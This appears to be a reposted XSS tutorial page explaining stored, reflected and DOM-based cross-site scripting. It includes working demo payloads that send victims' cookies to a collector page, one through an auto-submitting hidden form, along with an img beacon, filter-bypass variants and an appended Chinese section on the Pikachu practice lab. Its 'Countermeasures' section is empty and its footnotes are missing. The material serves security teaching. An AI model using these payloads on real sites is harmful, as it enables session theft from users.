Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS)

What Is XSS?

  • Cross-site scripting (XSS) is a type of web application vulnerability that
    • enables the attackers to inject client-side script into web pages viewed by other users, and
    • upon the injected scripted is executed, to bypass the same origin policy.
      (Note: The same-origin policy cannot stop you from sending a request.)
  • XSS exploits web applications (e.g., blog, messageboard, etc.) with dynamic content that is produced from user inputs not validated or encoded. 
  • By injecting malicious code, XSS attacks turn the web applications from the data context into code context.
  • XSS isn't a direct attack against the Web application but rather an attack on the Web applications users.
  • If an attacker can place script anywhere in a vulnerable web application, the browser will believe that the script came from the vulnerable web application rather than the attacker. Thus, the injected script will run in the domain of the vulnerable web application and be able to do the following: 
    • Have access to read cookies used in that vulnerable web application
    • Be able to see the content of pages served by the vulnerable web application and send it to the attacker 
    • Change the way the vulnerable web application looks
    • Make calls back to the server who hosts the vulnerable web application
  • What to steal: session cookies, basic authorization credentials, source IP addresses, SSL certificates, Windows domain credentials, etc.
  • There are three known types of XSS:
    • Stored (server-side):
      • Malicious script is stored in a server resource such as a database.
      • By visiting the website, the script is executed.
    • Reflected (server-side):
      • Malicious script is transmitted to the victim via an email or similar mechanism.
      • By clicking on the link, the script is executed.
    • DOM-based (client-side): Attacks that modify the victims DOM directly and don't require data in the HTTP response.
  • Example incidents: PaypalYoutube.

DOM Exploited through JavaSrcipt 

  • Get/alter page contentdocument.getElementById('myAnchor').innerHTML
  • Get querystringlocation.search
  • Get cookiesdocument.cookie
  • Read locationdocument.location
  • Read/Write location: window.location.href
  • Extend page content: window.open

HTML Exploited through XSS 

  • <a> tag: <a οnclick="javascript" (requires a click)
  • <div> tag: <div style=background:url(javascript)>
  • <form> tag: <form action="logon.aspx" method="post" οnsubmit="javascript"></form>
  • <iframe> tag: <iframe src="javascript">
  • <object>: <object><param name="src" value="javascript"> </param></object>
  • <img> tag: <img src="javascript"> (1x1 px to be invisible or use Javascript to create an image object)
      <script>
         var image1 = new Image();
         image1.src = "http://host/?command";
      </script>
  • <script> tag: <script src="javascript">
  • <embed> tag: <embed src="javascript">

URL-Shortening Service

URL-shortening service like bit.ly, TinyURL, or goo.gl can provide a really helpful service for social network users, but its also a really useful service for XSS attackers to disguise the poisoned links.  For example, a long URL such as http://en.wikipedia.org/wiki/URL_shortening can be shorten to http://bit.ly/urlwikifor a redirect.
 

Reflected (First-Order) XSS 

  • A reflected HTML injection attack a web application which accepts user input in an HTTP request and responds with the identical user input within the body of the HTTP response.  
  • This type of XSS is "reflected" because it involves crafting a request containing embedded JavaScript which is reflected back to any user who makes the request. 
  • The attack payload is delivered and executed via a single request and response. For this reason, it is also sometimes referred to as first-order XSS.
  • Create the following link to send a victim's cookies to the hacker's website Demo 1:
    <a href="#" οnclick="document.location='http://localhost/XSSHackCookies/SaveHackedCookies.aspx?cookiesvalues=' +escape(document.cookie);" target=_blank>Click me</a>
     

    Aspect Security RXSS
    (source: Aspect Security)

Stored (Persistent) XSS

  • The XSS script is posted in web applications such as online message board, blog, and so on, and then "stored" by the server in the database permanently.
  • Since the XSS script is rendered automatically, individual victims are randomly targeted.
  • In social networking sites, the script would be further designed to self-propagate across accounts, creating a type of a client-side worm.
  • Steps in XSS attack Demo 2:
     

    SXSS

    1. Search a targeted web site simply places the user input back into the response. 
    2. Testing the page to see if it is possible to inject HTML and Javascript into the web page.
      <script>window.open("http://www.cnn.com")</script>
    3. Post injected scripts (GET)
      <a href="#" οnclick="document.location='http://localhost/XSSHackCookies/SaveHackedCookies.aspx?cookiesvalues=' +escape(document.cookie);" target=_blank>Click me</a>
      HTML encoded:
      &lt;a href=&quot;#&quot; οnclick=&quot;document.location=&#39;http://localhost/XSSHackCookies/SaveHackedCookies.aspx?cookiesvalues=&#39; +escape(document.cookie);&quot; target=_blank&gt;Click me&lt;/a&gt;
    4. Post injected scripts (POST)
      <form name='hackerform' method='POST' action='http://localhost/XSSHackCookies/savehackedcookies.aspx'>
      <script>
         document.write('<input type=hidden name=cookiesvalues value=');    
         document.write(document.cookie);
         document.write('>');
      </script>
      </form>
      <script>document.forms[0].submit()</script>
      HTML encoded:
      &lt;form name=&#39;hackerform&#39; method=&#39;POST&#39; action=&#39;http://localhost/XSSHackCookies/savehackedcookies.aspx&#39;&gt;
      &lt;script&gt;
         document.write(&#39;&lt;input type=hidden name=cookiesvalues value=&#39;);    
         document.write(document.cookie);
         document.write(&#39;&gt;&#39;);
      &lt;/script&gt;
      &lt;/form&gt;
      &lt;script&gt;document.forms[0].submit()&lt;/script&gt;

DOM-based XSS

  • Also called DOMXSS, local XSS or Type-0 XSS.
  • The attack payload is executed as a result of modifying the HTML Document Object Model (DOM) in the victim's browser used by the original client-side script of the page.
  • The DOM provides a structural representation of the HTML and XML document and enable the document's content and visual presentation to be modified by using a scripting language such as JavaScript.
  • The original DOMXSS paper by Amit Klein in 2005.
  • Webpage defacement: an attack on a website that changes the visual appearance on a webpage via DOM modification.
    • Payload: document.images[0].src
    • Webpage defacement is different from website defacement which is using the web server as the attack path.
  • Demo 3

Website Defacement

  • An attack on a website that changes the visual appearance of the site or a webpage. 
  • The attack is typically the work of system crackers, who break into a web server and replace the hosted website with their own.
  • The most common attack path is using SQL injections to gain administrative access to replace webpages.

Countermeasures

转载于:https://my.oschina.net/jms0755/blog/3077056

### 关于 Pikachu 项目中的 XSS 漏洞 #### 跨站脚本攻击(XSS) 跨站脚本攻击是一种常见的安全漏洞,允许攻击者通过注入恶意脚本来执行未经授权的操作。这种攻击通常发生在 Web 应用程序未能正确验证或转义用户输入的情况下。 在 Pikachu 项目的上下文中,存在多个演示场景来展示 XSS 的工作原理及其潜在危害[^1]。 #### 登录页面的 XSS 风险 受害者可以通过访问 `http://127.0.0.1/pikachu/vul/xss/xsspost/post_login.php` 页面并使用默认凭证 (`test/abc123`) 进行登录操作。此页面可能未对用户的输入进行充分过滤,从而导致反射型或存储型 XSS 攻击的发生。 #### 利用图片标签触发 XSS 另一个典型的例子涉及 `<img>` 标签的滥用。例如,在某些情况下,可以利用如下 HTML 片段发起请求到指定服务器以窃取会话信息或其他敏感数据: ```html <img src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php" /> ``` 上述代码片段展示了如何通过图像加载机制实现远程通信的目的[^2]。 #### 大小写绕过的技巧 为了测试应用程序的安全防护措施是否存在缺陷,研究者们经常尝试不同的方法规避检测规则。比如下面这个案例就说明了即使简单的字符转换也可能突破初步防御屏障: ```html <SCRIPT>alert(/xss/)</sCRIpt> ``` 这里故意改变了部分字母的大写形式试图迷惑模式匹配算法达到成功弹窗的效果[^3]。 #### 嵌套 script 标记造成破坏 更进一步地考虑实际应用环境下的复杂情况,则有这样一种构造方式能够有效避开一些基础级别的HTML净化处理逻辑: ```html </script><script> alert('xss')</script> ``` 它巧妙地关闭当前正在解析状态中的 JavaScript 区域然后再开启新的定义区域以便执行自定义命令序列[^4]。 ### 结论 综上所述,Pikachu 提供了一个很好的平台让我们深入理解各种类型的Web安全性议题,特别是针对像XSS这样的经典威胁进行了详尽的实际演练.
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值